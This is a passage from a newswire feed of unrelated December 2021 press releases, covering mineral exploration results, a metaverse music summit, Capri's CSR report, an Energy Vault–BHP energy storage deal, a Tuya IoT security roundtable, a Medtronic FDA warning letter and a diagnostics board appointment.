FOR FURTHER INFORMATION, PLEASE CONTACT: Website: mmgsilver.com Phone: 604-629-7800 Email: cackerman@mmgsilver.com Toll Free: 1-888-570-4420 Qualified Person The disclosure in this news release of scientific and technical information regarding exploration projects on Metallic Minerals' mineral properties has been reviewed and approved by Jeff Cary, P.Geo., who is Qualified Person as defined by National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101"). Forward-Looking Statements Forward Looking Statements: This news release includes certain statements that may be deemed "forward-looking statements". All statements in this release, other than statements of historical facts including, without limitation, statements regarding potential mineralization, historic production, estimation of mineral resources, the realization of mineral resource estimates, interpretation of prior exploration and potential exploration results, the timing and success of exploration activities generally, the timing and results of future resource estimates, permitting time lines, metal prices and currency exchange rates, availability of capital, government regulation of exploration operations, environmental risks, reclamation, title, and future plans and objectives of the company are forward-looking statements that involve various risks and uncertainties. Although Metallic Minerals believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results or developments may differ materially from those in the forward-looking statements. Forward-looking statements are based on a number of material factors and assumptions. Factors that could cause actual results to differ materially from those in forward-looking statements include failure to obtain necessary approvals, unsuccessful exploration results, changes in project parameters as plans continue to be refined, results of future resource estimates, future metal prices, availability of capital and financing on acceptable terms, general economic, market or business conditions, risks associated with regulatory changes, defects in title, availability of personnel, materials and equipment on a timely basis, accidents or equipment breakdowns, uninsured risks, delays in receiving government approvals, unanticipated environmental impacts on operations and costs to remedy same, and other exploration or other risks detailed herein and from time to time in the filings made by the companies with securities regulators. Readers are cautioned that mineral resources that are not mineral reserves do not have demonstrated economic viability. Mineral exploration and development of mines is an inherently risky business. Accordingly, the actual events may differ materially from those projected in the forward-looking statements. For more information on Metallic Minerals and the risks and challenges of their businesses, investors should review their annual filings that are available at www.sedar.com. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: Metallic Minerals Corp. View source version on accesswire.com:https://www.accesswire.com/677761/Metallic-Minerals-Announces-Completion-of-Exploration-Programs-at-La-Plata-Silver-Gold-Copper-Project Defining the Future of the Music Industry NEW YORK, NY / ACCESSWIRE / December 15, 2021 / On the weekend of December 17-19, 2021, Finessed Media, Inc. hosts a first-of-its-kind Metaverse Music and Tech Summit via Decentraland, a 3D virtual reality platform built on the Ethereum blockchain. The Summit will lead discussions with music and tech leaders and provide opportunities to connect with the speakers and other creatives in the industry. Sponsored by VEVO and Kaotica, this three-day digital experience will outline the latest and upcoming of what music and technology has to offer. The event will explore topics such as virtual reality music experiences, new avenues of music distribution, and what is breaking ground in studio technology. The summit will be hosted in Festival Land, the largest music district in Decentraland. The Finessed Media team led by CEO, Alexi Rabadam, and General Manager, Kitkat Fisher, has served more than 10,000 aspiring artists and music professionals in the last year by hosting 100+ virtual music business events over Zoom during the pandemic. The virtual startup now takes to the metaverse to lead the charge in introducing the larger music industry to blockchain economics, discussing ways to monetize in Web3 and accessibility in this new era. "We're changing the music industry in more ways than one," says Rabadam. "For some folks, this event will be their first experience in the metaverse. We want to make it memorable for them." Fisher adds, "The relationship between music and tech spaces are growing so rapidly and opening so many doors, this is an opportunity to explore the abundance of possibilities for the future." Finessed Media's Tech & Summit Coordinator, Dani Vongsamphanh, states, "We're bringing together the best minds in the industry to build the future of music technology." Panelist speakers come from leading companies Sony Music, Boomy, Def Jam Records, TuneCore, Walt Disney Imagineering, Crypto Money Records, Synometrix, Live out L!ve, Crowd Surf, Audius, and many more. Register for this year's Music & Tech Summit through their website: https://www.finessed.media/ About Finessed Media, Inc.: Finessed Media is a New York City based start-up focused on developing content in all things music entrepreneurship and creation. The company was founded in January 2020 with the mission to provide resources for a worldwide audience with interest in making it in the music industry in any capacity. Their contributors spotlight music and stories of artists, A&R reps, DJs, music tech executives, radio hosts, and more to speak on their experiences and share insight for others to learn from. Join their community at https://www.finessed.media/ and follow their Instagram @finessed.media Contact: Alexi Rabadam Finessed Media Inc. 917-740-9688 arabadam@finessed.media https://finessed.media SOURCE: Finessed Media Inc. View source version on accesswire.com:https://www.accesswire.com/677722/Finessed-Media-Takes-Their-Music-Tech-Summit-to-the-Metaverse Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Gelum Resources Corp. (CSE: GMR) ("Gelum" or the "Company") reports that all results have been received for the geochemical sampling programme carried out in September this year on the Eldorado Gold Property, located within the Bralorne-Bridge River Gold District in south-central British Columbia. The results confirm and significantly expand some of the historical gold anomalies generated by previous workers. The Eldorado Gold Property is located 22 kilometres north of the Bralorne mine, and 17 kilometres North of the community of Gold Bridge (Figure 1). The 9028-hectare property covers multiple Minfile listings and two past-producing, small-scale gold mines that form the northern extent of the Bridge River-Bralorne/Pioneer orogenic gold system. Gold occurs in polymetallic sulphide veins and vein stockworks within broad quartz-carbonate alteration in the Eldorado granodiorite stock and surrounding rocks. These units are complexly juxtaposed along numerous faults associated with regional-scale structures linked to gold mineralization in the region. For detailed maps and project photos, please download the presentations at https://www.gelumcapital.com. Sampling Details Gelum collected 62 continuous chip rock samples over several exploration targets, and 485 soil samples from lines over the extensive serpentinite & listwanite alteration west of the Northern Lights and Lucky Strike workings. Additional ridge crest soil lines were completed north of Lucky Jem, on the north-facing slope at the headwaters of Nea Creek (historically sluiced for gold), and both sides of Nea Peak filling gaps in historical soil grids. The Northern Lights soil and rock gold anomaly is currently considered a first-order drill target (Figure 1). Gelum's soil grid extended the gold soil anomaly an additional 500 metres to the south of a grid completed by Gold Fields in 2011. Peak soil values occur between the two Northern Lights adits, with a maximum value of 2.76 g/t Au; some of this mineralization may be dispersal from historical workings in the area. The source of the gold appears to be extensive listwanite (iron carbonate) alteration within volcanic, sedimentary, and ultramafic rocks below a gently east-dipping sill of Eldorado pluton diorite. Above this sill and structurally under a gabbro unit there is a 10-15m thick, east-dipping iron carbonate, which was rock sampled in detail and had the highest, most consistent antimony values of the programme, associated with gold up to 0.214 g/t. The northern extent of this layer at depth is another target (Taylor). Figure 1. Location and access of the Eldorado property. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/6458/107659_4e2c0b8824cb8929_002full.jpg Figure 2. Gridded Gold in Soil - Northern Lights area To view an enhanced version of Figure 2, please visit: https://orders.newsfilecorp.com/files/6458/107659_4e2c0b8824cb8929_003full.jpg The rock sampling also focused on the extensive rock exposure in the north-facing cliff below Nea Peak, where east-dipping, closely spaced, 1-3m thick iron carbonate veins cut the Eldorado diorite. These units have variable gold values (many in the 0.1-0.2 g/t over 1-2m, the highest at 1.4 g/t over 3m), but more consistent arsenic and antimony values, which are pathfinder elements in the Bralorne area. Sampling and Assay Procedures; Quality Control and Quality Assurance Rock chips were collected by chip sampling outcrops across the structural grain in a continuous line, between 0.5m to 3m long; a single grab sample was collected from a prospect pit. Handheld GPS coordinates and digital photos were taken at each sample site and used to verify to the extent possible the assay results, sample locations and general geology. Four field duplicates were collected (about 1 in 20). Soil samples were collected in grid at 50m interval along 100m spaced lines running SW to NE using a hand-held GPS for positional control. Several other 50m spaced samples were collected along ridges and spurs where thick talus made a grid impractical; one line runs parallel to the elevation contour in talus beneath inaccessible outcrops below Nea Peak. For quality assurance and control, duplicates and field blanks were inserted every 30 samples. No errors or anomalous results were noted. Sample bags were stored in rice sacks, secured with zip ties, and delivered to MSA Labs in Langley, B.C. Rocks and soils received the same treatment: dry, crush 1 kg to 2mm, split 250g and pulverized to 85% passing 75 microns (code PRP-910). 34 elements were analyzed using the ICP-230 package, which includes 4-acid digestion of a 0.25g sample and ICP-ES finish. Gold was done by method FAS-111, in which a 30g sample is fire-assayed and finished with atomic absorption (AA) and, if overlimit, gravimetric. Readers are cautioned that surface sampling results reported here should be viewed primarily as a guidance for future exploration drilling. Surface sampling is prone to sampling bias and is not necessarily a reliable indicator of mineralization at depth. The qualified person for this release has not done sufficient work to independently verify the historical sampling results shown in Figure 2, but Gelum does consider them current and indicative of future results because they were collected and reviewed by a qualified person. Qualified Person John Drobe, P.Geo., a qualified person as defined by NI 43-101, has reviewed the scientific and technical information that forms the basis for this news release and has approved the disclosure herein. Mr. Drobe is not independent of the Company as he is a consultant of the Company. About Gelum Resources Corp. Gelum Resources is a company led by seasoned management in the mining and financial sectors. The Company's objective is the discovery of a multi-million oz. economic gold deposit in the Bralorne-Bridge River gold district located some 190 kilometers north of Vancouver and 74 km northwest of the town of Lillooet, B.C. This objective is made possible through the Company's acquisition of 26 mineral claims with a total area of 9028 hectares located in the Bralorne-Bridge River Gold District, which was host to one of the highest-grade, longest-producing mines in British Columbia. Management is proud to have developed an excellent working relationship with the Bridge River Indian Band (Xwisten) who, after thorough site investigation of our prime targets, confirm that they currently have no heritage or cultural concerns with the current workplan to date. For further information please refer to Gelum Resources Corporate Presentation: https://gelumresources.com/pdf/Gelum-Resources-Deck-Fall-2021.pdf On Behalf of the Board of Directors David Smith, President For further information about Gelum, please contact: David Smith, President (dsmith@gelumresources.com) Phone: 604 484-1228 Cell: 778-834-1141 Neither the CSE nor its Regulation Services Provider (as that term is defined in the policies of the CSE- Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Statements Regarding Forward Looking Information This presentation contains forward-looking statements and forward-looking information (collectively, "forward-looking statements") within the meaning of applicable Canadian and US securities legislation. All statements, other than statements of historical fact, included herein including, without limitation, statements regarding any potential increase in shareholder value through the acquisition of undervalued precious metal deposits for development, joint venture or later disposition, the potential to partner with mine developers to achieve production at any of the Company's properties (existing or future); the potential for the capital costs associated with any of the Company's existing or future properties to be low; the potential for the Company to outline resources at any of its existing or future properties, or to be able to increase any such resources in the future; concerning the economic outlook for the mining industry and the Company's expectations regarding metal prices and production and the appropriate time to acquire precious metal projects, the liquidity and capital resources and planned expenditures by the Company, the anticipated content, commencement, timing and cost of exploration programs, anticipated exploration program results and the anticipated business plans and timing of future activities of the Company, are forward looking statements. Forward-looking statements are based on a number of assumptions which may prove incorrect, including, but not limited to, assumptions about the level and volatility of the price of gold; the timing of the receipt of regulatory and governmental approvals; permits and authorizations necessary to implement and carry on the Company's planned exploration programs at its properties; future economic and market conditions; the Company's ability to attract and retain key staff; and the ongoing relations of the Company with its underlying lessors, local communities and applicable regulatory agencies. Accordingly, the Company cautions that any forward-looking statements are not guarantees of future results or performance, and that actual results may differ, and such differences may be material, from those set out in the forward-looking statements as a result of, among other factors, variations in the nature, quality and quantity of any mineral deposits that may be located, the Company's inability to obtain any necessary permits, consents or authorizations required for its activities, material adverse changes in economic and market conditions, changes in the regulatory environment and other government actions, fluctuations in commodity prices and exchange rates, the inability of the Company to raise the necessary capital for its ongoing operations, and business and operational risks normal in the mineral exploration, development and mining industries, as well as the risks and uncertainties disclosed in the Company's most recent management discussion and analysis filed with various provincial securities commissions in Canada, available at www.sedar.com. The Company undertakes no obligation to update publicly or release any revisions to these forward-looking statements to reflect events or circumstances after the date of this presentation or to reflect the occurrence of unanticipated events except as required by law. All subsequent written or oral forward-looking statements attributable to the Company or any person acting on its behalf are qualified by the cautionary statements herein. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107659 Capri Holdings Limited (NYSE:CPRI), a global fashion luxury group, today published its 2021 Corporate Social Responsibility (CSR) report. The report highlights the company's progress toward key CSR targets relating to environmental sustainability and climate change, human rights, diversity and inclusion, and philanthropy. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211215005166/en/ (Photo: Business Wire) Capri's 2021 CSR report builds upon its global, group-wide sustainability strategy, originally released in April 2020, which is divided into three areas: Our World - We know that the success of our company is directly linked to the sustainability of the word around us. Our brands strive to create the highest quality luxury products with longevity and sustainability in mind. Operating responsibly helps us to lower our impact on the planet and to promote industry-wide environmental change. Our Community We believe we have a responsibility to those who work with us. Our company strives to create inclusive workplaces where all of our employees are empowered and respected. We are committed to creating meaningful opportunities for our diverse Capri community to grow. Our Philanthropy Giving back is embedded in Capri's culture. We remain steadfast in our commitment of support and driving positive change in the communities where we live and work. As part of its 2020 CSR strategy, Capri previously committed to ambitious, measurable goals around greenhouse gas emissions, renewable energy, raw material sourcing, water use, waste reduction, diversity and inclusion, and philanthropic giving. Today's report covers the company's activities to drive meaningful progress toward those goals during Fiscal Year 2021 along with some of the major CSR-related activities undertaken during the first half of Fiscal Year 2022. "Our corporate social responsibility strategy has always been about focusing our energy and resources where we can make the greatest impact on people and the planet," said John D. Idol, Chairman and Chief Executive Officer of Capri Holdings. "Over the past year, we continued to improve the way we work in order to better the world in which we live. I am incredibly proud of our entire organization for demonstrating how business can truly be a force for good." Highlights in the 2021 report include: Our World Signing the Science Based Targets initiative Business Ambition for 1.5C, committing the company to set science-based targets across its operations and supply chain in alignment with reduction requirements to keep warming below 1.5C globally. Reaffirming our commitment to reach 100% renewable energy worldwide by joining RE100. Making significant progress toward our goal to source at least 95% of our leather from Leather Working Group Gold- or Silver-certified tanneries, or from tanneries achieving comparable certification, by 2025. In Fiscal Year 2021, 85% of leather was sourced from suppliers meeting these highest standards of environmental performance. Investing in Desserto- an advanced, cactus-based material that is a sustainable, low-impact option for accessories and footwear. Our Community Pledging $20 million to the Capri Holdings Foundation for the Advancement of Diversity in Fashion, to further the foundation's mission of supporting diversity, inclusion and equality throughout the fashion industry. Launching Pride@Capri, our first employee resource group focused on the LGBTQ+ community and its allies. Signing the Black and Fashion Council's pledge to raise the percentage of Black employees in executive- and junior-level positions throughout our company. Achieving a score of 80 points out of 100 on our first submission to the Human Rights Campaign Foundation's Corporate Equality Index. Our Philanthropy Contributing $3 million with our brands and our founders to local and international organizations providing frontline and emergency relief at the start of the COVID-19 pandemic. Donating $35 million of Michael Kors product to poverty and disaster-relief through non-profit Delivering Good. Delivering more than 24 million school meals through the Michael Kors Watch Hunger Stop campaign in partnership with the United Nations World Food Programme. Continuing to support Women for Women International through The Jimmy Choo Foundation. Supporting the Born this Way Foundation, a non-profit organization committed to empowering and aiding the wellness of young people, through Versace's Pride 2021 programming. The company conducted a Task Force on Climate-related Financial Disclosures (TCFD) analysis to enhance its sustainability strategy and programming. As a part of Capri's commitment to transparency, the report is supported by disclosures aligned with TCFD recommendations, and for the second year, with the Sustainability Accounting Standards Board (SASB) framework. The report also includes information on how the company's CSR activities and strategic focus areas align to the United Nations Sustainable Development Goals and the Ten Principles of the United Nations Global Compact. For more information on the company's corporate social responsibility program and to view the full 2021 report, visit CapriHoldings.com/CSR. About Capri Holdings Limited Capri Holdings Limited is a global fashion luxury group, consisting of iconic brands that are industry leaders in design, style and craftsmanship. Its brands cover the full spectrum of fashion luxury categories including women's and men's accessories, footwear and ready-to-wear as well as wearable technology, watches, jewelry, eyewear and a full line of fragrance products. The Company's goal is to continue to extend the global reach of its brands while ensuring that they maintain their independence and exclusive DNA. Capri Holdings Limited is publicly listed on the New York Stock Exchange under the ticker CPRI. Forward Looking Statements This press release contains statements which are, or may be deemed to be, "forward-looking statements." Forward-looking statements are prospective in nature and are not based on historical facts, but rather on current expectations and projections of the management of Capri Holdings Limited (the "Company") about future events, and are therefore subject to risks and uncertainties which could cause actual results to differ materially from the future results expressed or implied by the forward-looking statements. All statements other than statements of historical facts included in this press release may be forward-looking statements. Without limitation, any statements preceded or followed by or that include the words "plans", "believes", "expects", "intends", "will", "should", "could", "would", "may", "anticipates", "might" or similar words or phrases, are forward-looking statements. These forward-looking statements are not guarantees of future financial performance. Such forward-looking statements involve known and unknown risks and uncertainties that could significantly affect expected results and are based on certain key assumptions, which could cause actual results to differ materially from those projected or implied in any forward-looking statements. These risks, uncertainties and other factors are set forth in the reports that the Company files from time to time with the U.S. Securities and Exchange Commission, including the Company's Annual Report on Form 10-K for the fiscal year ended March 27, 2021 (File No. 001-35368). Any forward-looking statement in this press release speaks only as of the date made and the Company disclaims any obligation to update or revise any forward-looking or other statements contained herein other than in accordance with legal and regulatory obligations. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005166/en/ Contacts: Investor Relations: Jennifer Davis (201) 514-8234 Jennifer.Davis@CapriHoldings.com Media: Dinesh Kandiah (917) 934-2427 Press@CapriHoldings.com Collaboration includes strategic investment from BHP Ventures closed as part of prior Series C funding Joint MOU executed to explore applications for Energy Vault's proprietary energy storage and software technology to support electrification in BHP's large-scale mining operations Energy Vault, Inc. ("Energy Vault"), the company developing sustainable, grid-scale energy storage solutions, and BHP, a leading global natural resources company, today announced a joint collaboration that will focus on the deployment and implementation of Energy Vault's energy storage solutions in BHP's key operations and other potential applications for the technology. BHP Ventures, BHP's internal venture capital unit, also joined other investors in a final close of Energy Vault's Series C funding round announced earlier this year. The parties have signed a Memorandum of Understanding ("MOU") focused on studying the application of Energy Vault's technology to support power supply and energy storage at certain BHP operations while exploring opportunities for new applications relevant to BHP's business. The companies will also assess local supply chain collaboration, eco-brick composite manufacturing (including the potential for beneficial re-use of mine tailings or waste), and joint maintenance and monitoring support centers. This represents an opportunity to facilitate Energy Vault's further geographic expansion into the Australian and other global markets where BHP has operations starting in 2022. "We are excited to deepen our relationship with BHP to support one of the world's largest companies and a global leader in natural resources production to explore applications for our technology in the electrificaiton of their mining operations," said Robert Piconi, Co-Founder and CEO of Energy Vault. "Our company's mission is to accelerate the clean energy transition to make sustainable, decarbonized energy a reality. This MOU demonstrates the strong momentum and demand that we continue to experience for our advanced energy storage technology across multiple industry segments and the most critical energy storage applications." Mark Frayman, Head of BHP Ventures, said: "Broad collaboration and the development of new technologies will be fundamental to achieving decarbonization across the global resources industry. We are excited to partner with Energy Vault, following our strategic investment in the company earlier this year. Energy Vault's technology has the potential to unlock cleaner energy solutions for our operations and create a competitive edge by helping to accelerate our decarbonization initiatives. This partnership may also present an opportunity to improve life-cycle sustainability by using eco-bricks made with mine tailings, and to create new opportunities for local suppliers." Energy Vault's advanced gravity energy storage solutions are based on the proven physics and mechanical engineering fundamentals of pumped hydroelectric energy storage, but replace water with custom-made composite blocks which do not lose storage capacity over time. The blocks can be made from low-cost and locally sourced materials, including the excavated soil at the construction site, but can also utilize locally available waste materials such as mine tailings, coal combustion residuals (coal ash), and fiberglass from decommissioned wind turbine blades. Additionally, the Energy Vault systems are intended to minimize environmental and supply chain risks. The systems are automated with advanced computer control and machine vision software that orchestrate the charging and discharging cycles while meeting a broad set of storage durations starting from 2 hours and continuing to 12 hours or more. About Energy Vault Energy Vault develops sustainable energy storage solutions designed to transform the world's approach to utility-scale energy storage for grid resiliency. Our proprietary gravity-based Energy Storage Technology and the Energy Storage Management and Integration Platform are intended to help utilities, independent power producers and large industrial energy users significantly reduce their levelized cost of energy while maintaining power reliability. Utilizing eco-friendly materials with the ability to integrate waste materials for beneficial re-use, Energy Vault is facilitating the shift to a circular economy while accelerating the clean energy transition for its customers. Energy Vault previously announced an agreement for a business combination with Novus Capital Corporation II (NYSE: NXU, NXU.U, NXU WS), which is expected to result in Energy Vault becoming a public company listed on the New York Stock Exchange in the first quarter of 2022, subject to customary closing conditions. About BHP BHP is a world-leading resources company that produces iron ore, copper, nickel, metallurgical coal and petroleum for sale to global markets. BHP has approximately 80,000 employees and contractors, primarily in Australia and the Americas. BHP's global headquarters are in Melbourne, Australia. About Novus Capital Corporation II Novus raised approximately $287.5 million in its February 2021 IPO and its securities are listed on the NYSE under the ticker symbols "NYSE: NXU, NXU.U, NXU WS." Novus is a special purpose acquisition company organized for the purpose of effecting a merger, share exchange, asset acquisition, stock purchase, recapitalization, reorganization, or other similar business combination with one or more businesses or entities. Novus Capital is led by Robert J. Laikin, Jeff Foster, Hersch Klaff, Larry Paulson, Heather Goodman, Ron Sznaider and Vince Donargo, who have significant hands-on experience helping high-tech companies optimize their existing and new growth initiatives by exploiting insights from rich data assets and intellectual property that already exist within most high-tech companies. Forward-Looking Statements Certain statements included in this press release that are not historical facts are forward-looking statements for purposes of the safe harbor provisions under the United States Private Securities Litigation Reform Act of 1995. Forward-looking statements generally are accompanied by words such as "believe," "may," "will," "estimate," "continue," "anticipate," "intend," "expect," "should," "would," "plan," "predict," "potential," "seem," "seek," "future," "outlook," "designed," and similar expressions that predict or indicate future events or trends or that are not statements of historical matters. These forward-looking statements include, but are not limited to, statements regarding estimates and forecasts of financial and performance metrics, projections of market opportunity, expectations and timing related to the rollout of Energy Vault's business and timing of deployments, including with respect to EVS and its anticipated benefits and capacities, the proposed features and designs of the EVx and the Energy Vault Resiliency Center (EVRC) platforms, the availability of low-cost and locally sourced materials to produce "mobile masses," customer growth and other business milestones, potential benefits of the proposed business combination and PIPE investment (the "Proposed Transactions"), and expectations related to the timing of the Proposed Transactions. These statements are based on various assumptions, whether or not identified in this press release, and on the current expectations of Energy Vault's and Novus' management and are not predictions of actual performance. These forward-looking statements are provided for illustrative purposes only and are not intended to serve as, and must not be relied on by an investor as, a guarantee, an assurance, a prediction, or a definitive statement of fact or probability. Actual events and circumstances are difficult or impossible to predict and will differ from assumptions. Many actual events and circumstances are beyond the control of Energy Vault and Novus. These forward-looking statements are subject to a number of risks and uncertainties, including changes in domestic and foreign business, market, financial, political, and legal conditions; the inability of the parties to successfully or timely consummate the Proposed Transactions, including the risk that any regulatory approvals are not obtained, are delayed or are subject to unanticipated conditions that could adversely affect the combined company or the expected benefits of the Proposed Transactions or that the approval of the stockholders of Novus or Energy Vault is not obtained; failure to realize the anticipated benefits of the Proposed Transactions; risks relating to the uncertainty of the projected financial information with respect to Energy Vault; risks related to the rollout of Energy Vault's business and the timing of expected business milestones; risks related to the inability or unwillingness of Energy Vault's customers to perform under sales agreements; risks related to Energy Vault's the performance and availability of EVS; demand for renewable energy; ability to commercialize and sell its solution; ability to negotiate definitive contractual arrangements with potential customers; the impact of competitive technologies; ability to obtain sufficient supply of materials; the impact of Covid-19; global economic conditions; ability to meet installation schedules; construction and permitting delays and related increases in costs; the effects of competition on Energy Vault's future business; the amount of redemption requests made by Novus' public shareholders; and those factors discussed in the Registration Statement and in Novus' Registration Statement on Form S-4 relating to the business combination under the caption "Risk Factors", and its Annual Report on Form 10-K for the fiscal year ended December 31, 2020 under the heading "Risk Factors," and other documents of Novus filed, or to be filed, with the SEC. Important Information About the Proposed Business Combination and Where to Find It This communication is being made in respect of the proposed merger transaction involving Novus and Energy Vault. Novus has filed a registration statement on Form S-4 with the SEC, which includes a preliminary proxy statement/prospectus of Novus, and certain related documents, to be used at the meeting of stockholders to approve the proposed business combination and related matters. Investors and security holders of Novus are urged to read the proxy statement/prospectus, as well as any amendments thereto and other relevant documents that will be filed with the SEC, carefully and in their entirety because they contain important information about Energy Vault, Novus and the business combination. The definitive proxy statement will be mailed to stockholders of Novus as of a record date to be established for voting on the proposed business combination. Investors and security holders will also be able to obtain copies of the registration statement and other documents containing important information about each of the companies once such documents are filed with the SEC, without charge, at the SEC's web site at www.sec.gov. The information contained on, or that may be accessed through, the websites referenced in this press release is not incorporated by reference into, and is not a part of, this press release. Participants in the Solicitation Novus and its directors and executive officers may be deemed participants in the solicitation of proxies of Novus' shareholders in connection with the proposed business combination. Energy Vault and its executive officers and directors may also be deemed participants in such solicitation. Security holders may obtain more detailed information regarding the names, affiliations and interests of certain of Novus' executive officers and directors in the solicitation by reading Novus' Annual Report on Form 10-K for the fiscal year ended December 31, 2020, Quarterly Report on Form 10-Q for the six months ended June 30, 2021 and the proxy statement/prospectus and other relevant documents and other materials filed with the SEC in connection with the business combination when they become available. Information concerning the interests of Novus' participants in the solicitation, which may, in some cases, be different than those of their stockholders generally, will be set forth in the proxy statement/prospectus relating to the business combination when it becomes available. No Offer or Solicitation This communication does not constitute an offer to sell or the solicitation of an offer to buy any securities or a solicitation of any vote or approval, nor shall there be any sale of any securities in any state or jurisdiction in which such offer, solicitation, or sale would be unlawful prior to registration or qualification under the securities laws of such other jurisdiction. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005317/en/ Contacts: Investors energyvaultIR@icrinc.com Media media@energyvault.com DUSSELDORF, Germany, Dec. 15, 2021 /PRNewswire/ -- Tuya Smart (NYSE: TUYA), a global IoT development platform service provider, hosted a high-level forum that included a roundtable with European data security experts to discuss the importance of security, security approaches, and policy implementation suggestions. The expert speakers deliberated recent trends in IoT security, the importance of private-public cooperation, the need for greater public education, and security as a branding imperative. The roundtable featured experts from TUV SUD, the German training, auditing, testing, and certification firm; Wizlynx Group, the global cybersecurity provider headquartered in Switzerland; and the British Standards Institution ("BSI"), the institution responsible for producing technical standards and certifications for a wide range of products. With the rise of connected devices, IoT security is no longer contained to any specific industry or region. According to research by IDC, worldwide connected devices will reach 55.7 billion by 2025, with 75% of them connected to an IoT platform. However, as the number of connected devices has increased sharply, the speakers pointed out that public awareness of the importance of IoT security has yet to catch up. "This is a global issue, it doesn't have boundaries of organizations or market sectors or country. Stakeholders need to realize this is a global problem and embrace it proactively," said speaker David Mudd, Global Digital Product Director of BSI. "For security, you need regulation, consensus on best practice, excellence showcasing best practices, and driving things forward. All these things are needed. If you take your clients, investors, and everyone you do business with seriously you need to invest in security by design from the outset," said Mudd. Looking to the future, the experts were optimistic that with comprehensive public-private cooperation, stakeholder engagement, and education, security will get the increased attention and outcomes that is warranted for this topic. "Compared with four years ago, as an industry, we've moved a long way forward. The next four years are going to be exciting. We'll see money flowing in for the right reasons," said Prabhu Ramkumar, VP and Global Head of Digital Services of TUV SUD. The speakers ended the roundtable by affirming the importance of security investment as a way to improve brand value and trust in the market. Andre Sollner, the Global CFO and Head of Corporate Governance of Wizlynx Group, added, "Recovery for companies from a ransomware attack is not only a question of financials but also brand impact. Investment in security and seeing it as a competitive advantage is where I hope the trend is going. Looking back to the first mobile phones they were completely insecure, and today they are probably more secure than most IT systems, so this is my hope for the future." Ramkumar commented, "Building trust is one of the most important steps towards improving the security of connected devices. Companies like Tuya, who verify their products and processes against international security standards through independent third parties, are an example of how organizations can build trust with their customers to differentiate themselves in the market. As a global IoT development platform service provider, Tuya Smart sees IoT security for customers and end-users as a top priority. Tuya has a strategic focus on data security and has taken a proactive approach to ensure its compliance with privacy protection laws worldwide. Tuya's holds various third party authentications including the ISO27001/27017/27701 certificates and CSA Star Cloud Security certificate issued by the BSI. The Company has also successfully completed the validation programs for both the GDPR and the CCPA. Tuya recently organized this roundtable as an effort in increasing industry and public awareness of IoT security. For hardware companies looking to launch IoT devices, the speakers emphasized the importance of addressing security proactively and following the guidance of security by design. The speakers emphasized that while regulations are necessary, the role of regulation is to create a baseline and that a more proactive embedding of security into products is needed with every step of the supply chain. The roundtable was part of Tuya's online forum "Global Smart Connectivity: Sharing, Openness, Opportunities," that featured industry experts and distinguished partners from across the European region, including representatives from Orange, Sharp Europe, Calex, EPS, and UK Aurora. Tuya Smart has launched a microsite to display discussions from the event and share the expert commentary. To view the security roundtable discussion and other sessions from the event please visit: https://www.tuya.com/activity/eur2021onlineforum About Tuya Smart Tuya Smart (NYSE: TUYA) is a leading technology company focused on making our lives smarter. Tuya does this through offering a cloud platform that connects a range of devices via the IoT. By building interconnectivity standards, Tuya bridges the intelligent needs of brands, OEMs, developers, and retail chains across a broad range of smart devices and industries. Tuya solutions empower partners and customers by improving the value of their products while making consumers' lives more convenient through the application of technology. Through its growing commercial SaaS business, Tuya offers intelligent business solutions for a wide range of verticals. The Company's platform is backed by industry-leading technology complete with rigorous data protection and security. Tuya partners with leading Fortune 500 companies from around the world to make things smarter, including Philips, Schneider Electric, Lenovo and many others. FRIDLEY (dpa-AFX) - American-Irish registered medical devices company- Medtronic Plc (MDT), said on Wednesday that it received a warning letter from the U.S. Food and Drug Administration or FDA on the inadequacy of'specific medical device quality system requirements at the Northridge facility, the headquarters of its Diabetes Business. The notice from the federal agency focuses on the devices related to the areas of risk assessment, corrective and preventive action, complaint handling, device recalls, and reporting of adverse events at Northridge plant. In a bid to ensure the safety at the site, the Dublin-headquartered firm said it will apply resources from across the company and utilize external experts. The company added it is also 'implementing a range of corrective actions and process improvements related to the observations, and will continue reviewing these actions with the FDA.' FDA had issued a warning on December 9, following an inspection that concluded in July. The inspection was related to recalls of the MiniMed 600 series insulin infusion pump, and a remote controller device for MiniMed 508 and Paradigm pumps. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Leading NMR diagnostics company numares AG appoints Dr. Gregory Heath as new member of the Supervisory Board. Dr. Heath has a long career in the diagnostics and life sciences industry, including long-term experience in the development and launching of in vitro diagnostics (IVDs). He will assist numares in the commercialization of multi-marker-based diagnostic tests running on the company's proprietary, AI-driven IVD platform, the AXINON System, for which the company applied for two 510(k) clearances this year. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211215005040/en/ Dr. Gregory F. Heath, Member of the numares Supervisory Board (Photo: Business Wire) "We are delighted to welcome Greg to the board," said Dr. Volker Pfahlert, Chief Executive Officer of numares. "As we continue our focus on expansion in the United States, his depth of knowledge and substantial experience in the US diagnostics industry will help drive our diagnostic strategy and be invaluable to numares as it launches IVD products." With his appointment, Dr. Heath joins the numares Supervisory Board as the second, independent US expert after Ms. Kathy Bates of Mayo Clinic Laboratories, who has been supporting the Supervisory Board as first US advisor since her election in 2019. He brings with him more than 30 years of diagnostics experience. As a former General Manager of Diagnostics at Illumina Inc., Dr. Heath was responsible for building and managing the molecular Diagnostics Business Unit, as well as for the establishment of a CLIA lab and acquisition of service labs. Prior to this, he was SVP, Molecular Business at Roche Diagnostics, and held numerous roles in strategy, marketing, and business development during his career. He currently serves on the Scientific Advisory Board of Everlywell and is a strategic and scientific advisor to the diagnostics and life sciences industry. Winton Gibbons, President of numares GROUP in 